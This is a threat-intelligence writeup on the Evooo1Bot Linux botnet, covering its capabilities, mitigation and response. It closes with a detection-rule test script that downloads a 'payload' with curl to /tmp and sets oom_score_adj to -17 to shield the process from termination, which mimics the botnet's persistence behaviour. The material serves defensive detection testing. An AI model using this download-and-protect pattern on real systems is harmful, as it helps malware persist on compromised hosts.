Evooo1Bot Linux Botnet: Capabilities and Attack Techniques

Summary

Evooo1Bot is a newly identified Mirai-based Linux botnet that compromises edge devices to establish persistent proxy infrastructure. The malware includes advanced capabilities such as encrypted C2 communication, a SOCKS relay module, and an integrated exploit arsenal. It targets numerous vulnerabilities affecting IoT devices and networking hardware.

Investigation

FortiGuard Labs uncovered the botnet through IPS telemetry that captured active exploitation attempts. The investigation revealed a modular architecture in which a loader script retrieves binaries tailored to the target system architecture. Analysts also identified several evasion techniques, including multi-layer string decryption and checks for analysis tools.

Mitigation

Organizations should prioritize timely patching of all internet-facing devices and network appliances. Regular firmware updates and continuous monitoring for suspicious outbound connections are essential for reducing exposure. Disabling unnecessary services on edge devices can further minimize the available attack surface.

Response

If Evooo1Bot activity is detected, affected edge devices should be isolated from the network immediately to stop lateral movement and proxy abuse. Investigators should determine the scope of compromise and search for persistence mechanisms such as cron jobs or systemd services. Any credentials potentially exposed through the botnet’s credential sniffer should also be rotated.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: An adversary has gained initial access to a Linux server. To ensure their botnet agent remains active during heavy resource usage, they execute a command that downloads a payload from a remote C2 server using curl -sL (silent, follow redirects). Immediately following the download, the process attempts to manipulate its own kernel priority by echoing -17 into /proc/self/oom_score_adj. This specific combination of a “stealthy” download and “process protection” is the signature of the Evooo1Bot.

• Regression Test Script:

  #!/bin/bash
  # Simulation of Evooo1Bot behavior
  # Goal: Trigger the detection rule by matching both CommandLine conditions
  
  echo "[+] Starting Evooo1Bot Simulation..."
  
  # Step 1: Simulate the stealthy download using the exact flags in the rule
  # We use a local loopback or a dummy URL to avoid actual external traffic if needed
  # but the CommandLine must match the rule's string.
  echo "[+] Executing curl -sL to mimic payload download..."
  curl -sL http://localhost:8080/payload > /tmp/payload_test 2>/dev/null || echo "[!] Note: URL not reachable, but command was executed."
  
  # Step 2: Simulate the OOM score adjustment for persistence
  echo "[+] Adjusting oom_score_adj to prevent termination..."
  echo -17 > /proc/self/oom_score_adj
  
  echo "[+] Simulation Complete. Check SIEM for alerts."

• Cleanup Commands:

  # Remove the dummy payload file
  rm -f /tmp/payload_test
  
  # Reset the OOM score (though it only affects the current shell/process)
  echo 0 > /proc/self/oom_score_adj